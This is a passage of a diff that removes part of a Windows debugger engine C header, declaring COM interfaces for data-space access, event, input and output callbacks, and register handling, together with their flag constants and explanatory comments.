- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteIo)(
- THIS_
- __in ULONG InterfaceType,
- __in ULONG BusNumber,
- __in ULONG AddressSpace,
- __in ULONG64 Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(ReadMsr)(
- THIS_
- __in ULONG Msr,
- __out PULONG64 Value
- ) PURE;
- STDMETHOD(WriteMsr)(
- THIS_
- __in ULONG Msr,
- __in ULONG64 Value
- ) PURE;
- STDMETHOD(ReadBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WriteBusData)(
- THIS_
- __in ULONG BusDataType,
- __in ULONG BusNumber,
- __in ULONG SlotNumber,
- __in ULONG Offset,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
- STDMETHOD(CheckLowMemory)(
- THIS
- ) PURE;
- STDMETHOD(ReadDebuggerData)(
- THIS_
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
- STDMETHOD(ReadProcessorSystemData)(
- THIS_
- __in ULONG Processor,
- __in ULONG Index,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
-
- // IDebugDataSpaces2.
-
- STDMETHOD(VirtualToPhysical)(
- THIS_
- __in ULONG64 Virtual,
- __out PULONG64 Physical
- ) PURE;
- // Returns the physical addresses for the
- // N levels of the systems paging structures.
- // Level zero is the starting base physical
- // address for virtual translations.
- // Levels one-(N-1) will point to the appropriate
- // paging descriptor for the virtual address at
- // the given level of the paging hierarchy. The
- // exact number of levels depends on many factors.
- // The last level will be the fully translated
- // physical address, matching what VirtualToPhysical
- // returns. If the address can only be partially
- // translated S_FALSE is returned.
- STDMETHOD(GetVirtualTranslationPhysicalOffsets)(
- THIS_
- __in ULONG64 Virtual,
- __out_ecount_opt(OffsetsSize) PULONG64 Offsets,
- __in ULONG OffsetsSize,
- __out_opt PULONG Levels
- ) PURE;
-
- // System handle data is accessible in certain
- // debug sessions. The particular data available
- // varies from session to session and platform
- // to platform.
- STDMETHOD(ReadHandleData)(
- THIS_
- __in ULONG64 Handle,
- __in ULONG DataType,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG DataSize
- ) PURE;
-
- // Fills memory with the given pattern.
- // The fill stops at the first non-writable byte.
- STDMETHOD(FillVirtual)(
- THIS_
- __in ULONG64 Start,
- __in ULONG Size,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __out_opt PULONG Filled
- ) PURE;
- STDMETHOD(FillPhysical)(
- THIS_
- __in ULONG64 Start,
- __in ULONG Size,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __out_opt PULONG Filled
- ) PURE;
-
- // Queries virtual memory mapping information given
- // an address similarly to the Win32 API VirtualQuery.
- // MEMORY_BASIC_INFORMATION64 is defined in crash.h.
- // This method currently only works for user-mode sessions.
- STDMETHOD(QueryVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out PMEMORY_BASIC_INFORMATION64 Info
- ) PURE;
-
- // IDebugDataSpaces3.
-
- // Convenience method for reading an image
- // header from virtual memory. Given the
- // image base, this method determines where
- // the NT headers are, validates the necessary
- // markers and converts the headers into
- // 64-bit form for consistency.
- // A caller can check whether the headers were
- // originally 32-bit by checking the optional
- // header magic value.
- // This method will not read ROM headers.
- STDMETHOD(ReadImageNtHeaders)(
- THIS_
- __in ULONG64 ImageBase,
- __out PIMAGE_NT_HEADERS64 Headers
- ) PURE;
-
- // Some debug sessions have arbitrary additional
- // data available. For example, additional dump
- // information files may contain extra information
- // gathered at the same time as the primary dump.
- // Such information is tagged with a unique identifier
- // and can only be retrieved via the tag.
- // Tagged data cannot be partially available; the
- // tagged block is either fully present or completely
- // absent.
- STDMETHOD(ReadTagged)(
- THIS_
- __in LPGUID Tag,
- __in ULONG Offset,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG TotalSize
- ) PURE;
- STDMETHOD(StartEnumTagged)(
- THIS_
- __out PULONG64 Handle
- ) PURE;
- STDMETHOD(GetNextTagged)(
- THIS_
- __in ULONG64 Handle,
- __out LPGUID Tag,
- __out PULONG Size
- ) PURE;
- STDMETHOD(EndEnumTagged)(
- THIS_
- __in ULONG64 Handle
- ) PURE;
-
- // IDebugDataSpaces4.
-
- // General information about an address in the given data space.
- // Queries are from DEBUG_OFFSINFO_*.
- STDMETHOD(GetOffsetInformation)(
- THIS_
- __in ULONG Space,
- __in ULONG Which,
- __in ULONG64 Offset,
- __out_bcount_opt(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG InfoSize
- ) PURE;
-
- // Given a particular address, return the
- // next address which has a different validity.
- // For example, in debug sessions such as a live
- // user-mode session where virtual address validity
- // changes from page to page this will return the
- // page after the given page. In sessions such as
- // a user-mode dump file where validity can change
- // from byte to byte this will return the start of
- // the next region that has different validity.
- STDMETHOD(GetNextDifferentlyValidOffsetVirtual)(
- THIS_
- __in ULONG64 Offset,
- __out PULONG64 NextOffset
- ) PURE;
-
- // Given a particular range of virtual addresses,
- // find the first region which is valid memory.
- STDMETHOD(GetValidRegionVirtual)(
- THIS_
- __in ULONG64 Base,
- __in ULONG Size,
- __out PULONG64 ValidBase,
- __out PULONG ValidSize
- ) PURE;
-
- STDMETHOD(SearchVirtual2)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG64 Length,
- __in ULONG Flags,
- __in_bcount(PatternSize) PVOID Pattern,
- __in ULONG PatternSize,
- __in ULONG PatternGranularity,
- __out PULONG64 MatchOffset
- ) PURE;
-
- // Attempts to read a multi-byte string
- // starting at the given virtual address.
- // The possible string length, including terminator,
- // is capped at the given max size.
- // If a return buffer is given it will always
- // be terminated.
- STDMETHOD(ReadMultiByteStringVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG MaxBytes,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringBytes
- ) PURE;
- // Reads a multi-byte string and converts
- // it to Unicode using the given code page.
- STDMETHOD(ReadMultiByteStringVirtualWide)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG MaxBytes,
- __in ULONG CodePage,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringBytes
- ) PURE;
- STDMETHOD(ReadUnicodeStringVirtual)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG MaxBytes,
- __in ULONG CodePage,
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringBytes
- ) PURE;
- STDMETHOD(ReadUnicodeStringVirtualWide)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG MaxBytes,
- __out_ecount_opt(BufferSize) PWSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG StringBytes
- ) PURE;
-
- STDMETHOD(ReadPhysical2)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __out_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesRead
- ) PURE;
- STDMETHOD(WritePhysical2)(
- THIS_
- __in ULONG64 Offset,
- __in ULONG Flags,
- __in_bcount(BufferSize) PVOID Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG BytesWritten
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugEventCallbacks.
-//
-//----------------------------------------------------------------------------
-
-// Interest mask bits.
-#define DEBUG_EVENT_BREAKPOINT 0x00000001
-#define DEBUG_EVENT_EXCEPTION 0x00000002
-#define DEBUG_EVENT_CREATE_THREAD 0x00000004
-#define DEBUG_EVENT_EXIT_THREAD 0x00000008
-#define DEBUG_EVENT_CREATE_PROCESS 0x00000010
-#define DEBUG_EVENT_EXIT_PROCESS 0x00000020
-#define DEBUG_EVENT_LOAD_MODULE 0x00000040
-#define DEBUG_EVENT_UNLOAD_MODULE 0x00000080
-#define DEBUG_EVENT_SYSTEM_ERROR 0x00000100
-#define DEBUG_EVENT_SESSION_STATUS 0x00000200
-#define DEBUG_EVENT_CHANGE_DEBUGGEE_STATE 0x00000400
-#define DEBUG_EVENT_CHANGE_ENGINE_STATE 0x00000800
-#define DEBUG_EVENT_CHANGE_SYMBOL_STATE 0x00001000
-
-// SessionStatus flags.
-// A debuggee has been discovered for the session.
-#define DEBUG_SESSION_ACTIVE 0x00000000
-// The session has been ended by EndSession.
-#define DEBUG_SESSION_END_SESSION_ACTIVE_TERMINATE 0x00000001
-#define DEBUG_SESSION_END_SESSION_ACTIVE_DETACH 0x00000002
-#define DEBUG_SESSION_END_SESSION_PASSIVE 0x00000003
-// The debuggee has run to completion. User-mode only.
-#define DEBUG_SESSION_END 0x00000004
-// The target machine has rebooted. Kernel-mode only.
-#define DEBUG_SESSION_REBOOT 0x00000005
-// The target machine has hibernated. Kernel-mode only.
-#define DEBUG_SESSION_HIBERNATE 0x00000006
-// The engine was unable to continue the session.
-#define DEBUG_SESSION_FAILURE 0x00000007
-
-// ChangeDebuggeeState flags.
-// The debuggees state has changed generally, such
-// as when the debuggee has been executing.
-// Argument is zero.
-#define DEBUG_CDS_ALL 0xffffffff
-// Registers have changed. If only a single register
-// changed, argument is the index of the register.
-// Otherwise it is DEBUG_ANY_ID.
-#define DEBUG_CDS_REGISTERS 0x00000001
-// Data spaces have changed. If only a single
-// space was affected, argument is the data
-// space. Otherwise it is DEBUG_ANY_ID.
-#define DEBUG_CDS_DATA 0x00000002
-
-// ChangeEngineState flags.
-// The engine state has changed generally.
-// Argument is zero.
-#define DEBUG_CES_ALL 0xffffffff
-// Current thread changed. This may imply a change
-// of system and process also. Argument is the ID of the new
-// current thread or DEBUG_ANY_ID if no thread is current.
-#define DEBUG_CES_CURRENT_THREAD 0x00000001
-// Effective processor changed. Argument is the
-// new processor type.
-#define DEBUG_CES_EFFECTIVE_PROCESSOR 0x00000002
-// Breakpoints changed. If only a single breakpoint
-// changed, argument is the ID of the breakpoint.
-// Otherwise it is DEBUG_ANY_ID.
-#define DEBUG_CES_BREAKPOINTS 0x00000004
-// Code interpretation level changed. Argument is
-// the new level.
-#define DEBUG_CES_CODE_LEVEL 0x00000008
-// Execution status changed. Argument is the new
-// execution status.
-#define DEBUG_CES_EXECUTION_STATUS 0x00000010
-// Engine options have changed. Argument is the new
-// options value.
-#define DEBUG_CES_ENGINE_OPTIONS 0x00000020
-// Log file information has changed. Argument
-// is TRUE if a log file was opened and FALSE if
-// a log file was closed.
-#define DEBUG_CES_LOG_FILE 0x00000040
-// Default number radix has changed. Argument
-// is the new radix.
-#define DEBUG_CES_RADIX 0x00000080
-// Event filters changed. If only a single filter
-// changed the argument is the filter's index,
-// otherwise it is DEBUG_ANY_ID.
-#define DEBUG_CES_EVENT_FILTERS 0x00000100
-// Process options have changed. Argument is the new
-// options value.
-#define DEBUG_CES_PROCESS_OPTIONS 0x00000200
-// Extensions have been added or removed.
-#define DEBUG_CES_EXTENSIONS 0x00000400
-// Systems have been added or removed. The argument
-// is the system ID. Systems, unlike processes and
-// threads, may be created at any time and not
-// just during WaitForEvent.
-#define DEBUG_CES_SYSTEMS 0x00000800
-// Assembly/disassembly options have changed. Argument
-// is the new options value.
-#define DEBUG_CES_ASSEMBLY_OPTIONS 0x00001000
-// Expression syntax has changed. Argument
-// is the new syntax value.
-#define DEBUG_CES_EXPRESSION_SYNTAX 0x00002000
-// Text replacements have changed.
-#define DEBUG_CES_TEXT_REPLACEMENTS 0x00004000
-
-// ChangeSymbolState flags.
-// Symbol state has changed generally, such
-// as after reload operations. Argument is zero.
-#define DEBUG_CSS_ALL 0xffffffff
-// Modules have been loaded. If only a
-// single module changed, argument is the
-// base address of the module. Otherwise
-// it is zero.
-#define DEBUG_CSS_LOADS 0x00000001
-// Modules have been unloaded. If only a
-// single module changed, argument is the
-// base address of the module. Otherwise
-// it is zero.
-#define DEBUG_CSS_UNLOADS 0x00000002
-// Current symbol scope changed.
-#define DEBUG_CSS_SCOPE 0x00000004
-// Paths have changed.
-#define DEBUG_CSS_PATHS 0x00000008
-// Symbol options have changed. Argument is the new
-// options value.
-#define DEBUG_CSS_SYMBOL_OPTIONS 0x00000010
-// Type options have changed. Argument is the new
-// options value.
-#define DEBUG_CSS_TYPE_OPTIONS 0x00000020
-
-#undef INTERFACE
-#define INTERFACE IDebugEventCallbacks
-DECLARE_INTERFACE_(IDebugEventCallbacks, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugEventCallbacks.
-
- // The engine calls GetInterestMask once when
- // the event callbacks are set for a client.
- STDMETHOD(GetInterestMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
-
- // A breakpoint event is generated when
- // a breakpoint exception is received and
- // it can be mapped to an existing breakpoint.
- // The callback method is given a reference
- // to the breakpoint and should release it when
- // it is done with it.
- STDMETHOD(Breakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT Bp
- ) PURE;
-
- // Exceptions include breaks which cannot
- // be mapped to an existing breakpoint
- // instance.
- STDMETHOD(Exception)(
- THIS_
- __in PEXCEPTION_RECORD64 Exception,
- __in ULONG FirstChance
- ) PURE;
-
- // Any of these values can be zero if they
- // cannot be provided by the engine.
- // Currently the kernel does not return thread
- // or process change events.
- STDMETHOD(CreateThread)(
- THIS_
- __in ULONG64 Handle,
- __in ULONG64 DataOffset,
- __in ULONG64 StartOffset
- ) PURE;
- STDMETHOD(ExitThread)(
- THIS_
- __in ULONG ExitCode
- ) PURE;
-
- // Any of these values can be zero if they
- // cannot be provided by the engine.
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 Handle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in_opt PCSTR ModuleName,
- __in_opt PCSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp,
- __in ULONG64 InitialThreadHandle,
- __in ULONG64 ThreadDataOffset,
- __in ULONG64 StartOffset
- ) PURE;
- STDMETHOD(ExitProcess)(
- THIS_
- __in ULONG ExitCode
- ) PURE;
-
- // Any of these values may be zero.
- STDMETHOD(LoadModule)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in_opt PCSTR ModuleName,
- __in_opt PCSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp
- ) PURE;
- STDMETHOD(UnloadModule)(
- THIS_
- __in_opt PCSTR ImageBaseName,
- __in ULONG64 BaseOffset
- ) PURE;
-
- STDMETHOD(SystemError)(
- THIS_
- __in ULONG Error,
- __in ULONG Level
- ) PURE;
-
- // Session status is synchronous like the other
- // wait callbacks but it is called as the state
- // of the session is changing rather than at
- // specific events so its return value does not
- // influence waiting. Implementations should just
- // return DEBUG_STATUS_NO_CHANGE.
- // Also, because some of the status
- // notifications are very early or very
- // late in the session lifetime there may not be
- // current processes or threads when the notification
- // is generated.
- STDMETHOD(SessionStatus)(
- THIS_
- __in ULONG Status
- ) PURE;
-
- // The following callbacks are informational
- // callbacks notifying the provider about
- // changes in debug state. The return value
- // of these callbacks is ignored. Implementations
- // can not call back into the engine.
-
- // Debuggee state, such as registers or data spaces,
- // has changed.
- STDMETHOD(ChangeDebuggeeState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- ) PURE;
- // Engine state has changed.
- STDMETHOD(ChangeEngineState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- ) PURE;
- // Symbol state has changed.
- STDMETHOD(ChangeSymbolState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugEventCallbacksWide
-DECLARE_INTERFACE_(IDebugEventCallbacksWide, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugEventCallbacksWide.
-
- // The engine calls GetInterestMask once when
- // the event callbacks are set for a client.
- STDMETHOD(GetInterestMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
-
- // A breakpoint event is generated when
- // a breakpoint exception is received and
- // it can be mapped to an existing breakpoint.
- // The callback method is given a reference
- // to the breakpoint and should release it when
- // it is done with it.
- STDMETHOD(Breakpoint)(
- THIS_
- __in PDEBUG_BREAKPOINT2 Bp
- ) PURE;
-
- // Exceptions include breaks which cannot
- // be mapped to an existing breakpoint
- // instance.
- STDMETHOD(Exception)(
- THIS_
- __in PEXCEPTION_RECORD64 Exception,
- __in ULONG FirstChance
- ) PURE;
-
- // Any of these values can be zero if they
- // cannot be provided by the engine.
- // Currently the kernel does not return thread
- // or process change events.
- STDMETHOD(CreateThread)(
- THIS_
- __in ULONG64 Handle,
- __in ULONG64 DataOffset,
- __in ULONG64 StartOffset
- ) PURE;
- STDMETHOD(ExitThread)(
- THIS_
- __in ULONG ExitCode
- ) PURE;
-
- // Any of these values can be zero if they
- // cannot be provided by the engine.
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 Handle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in_opt PCWSTR ModuleName,
- __in_opt PCWSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp,
- __in ULONG64 InitialThreadHandle,
- __in ULONG64 ThreadDataOffset,
- __in ULONG64 StartOffset
- ) PURE;
- STDMETHOD(ExitProcess)(
- THIS_
- __in ULONG ExitCode
- ) PURE;
-
- // Any of these values may be zero.
- STDMETHOD(LoadModule)(
- THIS_
- __in ULONG64 ImageFileHandle,
- __in ULONG64 BaseOffset,
- __in ULONG ModuleSize,
- __in_opt PCWSTR ModuleName,
- __in_opt PCWSTR ImageName,
- __in ULONG CheckSum,
- __in ULONG TimeDateStamp
- ) PURE;
- STDMETHOD(UnloadModule)(
- THIS_
- __in_opt PCWSTR ImageBaseName,
- __in ULONG64 BaseOffset
- ) PURE;
-
- STDMETHOD(SystemError)(
- THIS_
- __in ULONG Error,
- __in ULONG Level
- ) PURE;
-
- // Session status is synchronous like the other
- // wait callbacks but it is called as the state
- // of the session is changing rather than at
- // specific events so its return value does not
- // influence waiting. Implementations should just
- // return DEBUG_STATUS_NO_CHANGE.
- // Also, because some of the status
- // notifications are very early or very
- // late in the session lifetime there may not be
- // current processes or threads when the notification
- // is generated.
- STDMETHOD(SessionStatus)(
- THIS_
- __in ULONG Status
- ) PURE;
-
- // The following callbacks are informational
- // callbacks notifying the provider about
- // changes in debug state. The return value
- // of these callbacks is ignored. Implementations
- // can not call back into the engine.
-
- // Debuggee state, such as registers or data spaces,
- // has changed.
- STDMETHOD(ChangeDebuggeeState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- ) PURE;
- // Engine state has changed.
- STDMETHOD(ChangeEngineState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- ) PURE;
- // Symbol state has changed.
- STDMETHOD(ChangeSymbolState)(
- THIS_
- __in ULONG Flags,
- __in ULONG64 Argument
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugInputCallbacks.
-//
-//----------------------------------------------------------------------------
-
-#undef INTERFACE
-#define INTERFACE IDebugInputCallbacks
-DECLARE_INTERFACE_(IDebugInputCallbacks, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugInputCallbacks.
-
- // A call to the StartInput method is a request for
- // a line of input from any client. The returned input
- // should always be zero-terminated. The buffer size
- // provided is only a guideline. A client can return
- // more if necessary and the engine will truncate it
- // before returning from IDebugControl::Input.
- // The return value is ignored.
- STDMETHOD(StartInput)(
- THIS_
- __in ULONG BufferSize
- ) PURE;
- // The return value is ignored.
- STDMETHOD(EndInput)(
- THIS
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugOutputCallbacks.
-//
-//----------------------------------------------------------------------------
-
-#undef INTERFACE
-#define INTERFACE IDebugOutputCallbacks
-DECLARE_INTERFACE_(IDebugOutputCallbacks, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugOutputCallbacks.
-
- // This method is only called if the supplied mask
- // is allowed by the clients output control.
- // The return value is ignored.
- STDMETHOD(Output)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Text
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugOutputCallbacksWide
-DECLARE_INTERFACE_(IDebugOutputCallbacksWide, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugOutputCallbacksWide.
-
- // This method is only called if the supplied mask
- // is allowed by the clients output control.
- // The return value is ignored.
- STDMETHOD(Output)(
- THIS_
- __in ULONG Mask,
- __in PCWSTR Text
- ) PURE;
-};
-
-//
-// IDebugOutputCallbacks2 interest mask flags.
-//
-
-// Indicates that the callback wants notifications
-// of all explicit flushes.
-#define DEBUG_OUTCBI_EXPLICIT_FLUSH 0x00000001
-// Indicates that the callback wants
-// content in text form.
-#define DEBUG_OUTCBI_TEXT 0x00000002
-// Indicates that the callback wants
-// content in markup form.
-#define DEBUG_OUTCBI_DML 0x00000004
-
-#define DEBUG_OUTCBI_ANY_FORMAT 0x00000006
-
-//
-// Different kinds of output callback notifications
-// that can be sent to Output2.
-//
-
-// Plain text content, flags are below, argument is mask.
-#define DEBUG_OUTCB_TEXT 0
-// Debugger markup content, flags are below, argument is mask.
-#define DEBUG_OUTCB_DML 1
-// Notification of an explicit output flush, flags and argument are zero.
-#define DEBUG_OUTCB_EXPLICIT_FLUSH 2
-
-//
-// Flags for various Output2 callbacks.
-//
-
-// The content string was followed by an
-// explicit flush. This flag will be used
-// instead of a separate DEBUG_OUTCB_EXPLICIT_FLUSH
-// callback when a flush has text to flush,
-// thus avoiding two callbacks.
-#define DEBUG_OUTCBF_COMBINED_EXPLICIT_FLUSH 0x00000001
-
-// The markup content string has embedded tags.
-#define DEBUG_OUTCBF_DML_HAS_TAGS 0x00000002
-// The markup content has encoded special characters like ", &, < and >.
-#define DEBUG_OUTCBF_DML_HAS_SPECIAL_CHARACTERS 0x00000004
-
-#undef INTERFACE
-#define INTERFACE IDebugOutputCallbacks2
-DECLARE_INTERFACE_(IDebugOutputCallbacks2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugOutputCallbacks.
-
- // This method is not used.
- STDMETHOD(Output)(
- THIS_
- __in ULONG Mask,
- __in PCSTR Text
- ) PURE;
-
- // IDebugOutputCallbacks2.
-
- // The engine calls GetInterestMask once when
- // the callbacks are set for a client.
- STDMETHOD(GetInterestMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
-
- STDMETHOD(Output2)(
- THIS_
- __in ULONG Which,
- __in ULONG Flags,
- __in ULONG64 Arg,
- __in_opt PCWSTR Text
- ) PURE;
-};
-
-//----------------------------------------------------------------------------
-//
-// IDebugRegisters.
-//
-//----------------------------------------------------------------------------
-
-#define DEBUG_REGISTERS_DEFAULT 0x00000000
-#define DEBUG_REGISTERS_INT32 0x00000001
-#define DEBUG_REGISTERS_INT64 0x00000002
-#define DEBUG_REGISTERS_FLOAT 0x00000004
-#define DEBUG_REGISTERS_ALL 0x00000007
-
-#define DEBUG_REGISTER_SUB_REGISTER 0x00000001
-
-typedef struct _DEBUG_REGISTER_DESCRIPTION
-{
- // DEBUG_VALUE type.
- ULONG Type;
- ULONG Flags;
-
- // If this is a subregister the full
- // registers description index is
- // given in SubregMaster. The length, mask
- // and shift describe how the subregisters
- // bits fit into the full register.
- ULONG SubregMaster;
- ULONG SubregLength;
- ULONG64 SubregMask;
- ULONG SubregShift;
-
- ULONG Reserved0;
-} DEBUG_REGISTER_DESCRIPTION, *PDEBUG_REGISTER_DESCRIPTION;
-
-#undef INTERFACE
-#define INTERFACE IDebugRegisters
-DECLARE_INTERFACE_(IDebugRegisters, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugRegisters.
- STDMETHOD(GetNumberRegisters)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetDescription)(
- THIS_
- __in ULONG Register,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
- __out_opt PDEBUG_REGISTER_DESCRIPTION Desc
- ) PURE;
- STDMETHOD(GetIndexByName)(
- THIS_
- __in PCSTR Name,
- __out PULONG Index
- ) PURE;
-
- STDMETHOD(GetValue)(
- THIS_
- __in ULONG Register,
- __out PDEBUG_VALUE Value
- ) PURE;
- // SetValue makes a best effort at coercing
- // the given value into the given registers
- // value type. If the given value is larger
- // than the register can hold the least
- // significant bits will be dropped. Float
- // to int and int to float will be done
- // if necessary. Subregister bits will be
- // inserted into the master register.
- STDMETHOD(SetValue)(
- THIS_
- __in ULONG Register,
- __in PDEBUG_VALUE Value
- ) PURE;
- // Gets Count register values. If Indices is
- // non-NULL it must contain Count register
- // indices which control the registers affected.
- // If Indices is NULL the registers from Start
- // to Start + Count 1 are retrieved.
- STDMETHOD(GetValues)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __out_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
- STDMETHOD(SetValues)(
- THIS_
- __in ULONG Count,
- __in_ecount_opt(Count) PULONG Indices,
- __in ULONG Start,
- __in_ecount(Count) PDEBUG_VALUE Values
- ) PURE;
-
- // Outputs a group of registers in a well-formatted
- // way thats specific to the platforms register set.
- // Uses the line prefix.
- STDMETHOD(OutputRegisters)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags
- ) PURE;
-
- // Abstracted pieces of processor information.
- // The mapping of these values to architectural
- // registers is architecture-specific and their
- // interpretation and existence may vary. They
- // are intended to be directly compatible with
- // calls which take this information, such as
- // stack walking.
- STDMETHOD(GetInstructionOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(GetStackOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
- STDMETHOD(GetFrameOffset)(
- THIS_
- __out PULONG64 Offset
- ) PURE;
-};
-
-//
-// The engine maintains several separate
-// pieces of context information. There is
-// the current debuggee context, a possible
-// override context, such as from .cxr,
-// a context for the current scope frame and so on.
-//
-
-// Get register information from the debuggee.
-#define DEBUG_REGSRC_DEBUGGEE 0x00000000
-// Get register information from an explicit
-// override context, such as one set by .cxr.
-// If there is no override context the request will fail.
-#define DEBUG_REGSRC_EXPLICIT 0x00000001
-// Get register information from the current scope
-// frame. Note that stack unwinding does not guarantee
-// accurate updating of the register context,
-// so scope frame register context may not be accurate
-// in all cases.
-#define DEBUG_REGSRC_FRAME 0x00000002
-
-#undef INTERFACE
-#define INTERFACE IDebugRegisters2
-DECLARE_INTERFACE_(IDebugRegisters2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugRegisters.
-
- STDMETHOD(GetNumberRegisters)(
- THIS_
- __out PULONG Number
- ) PURE;
- STDMETHOD(GetDescription)(
- THIS_
- __in ULONG Register,
- __out_ecount_opt(NameBufferSize) PSTR NameBuffer,
- __in ULONG NameBufferSize,
- __out_opt PULONG NameSize,
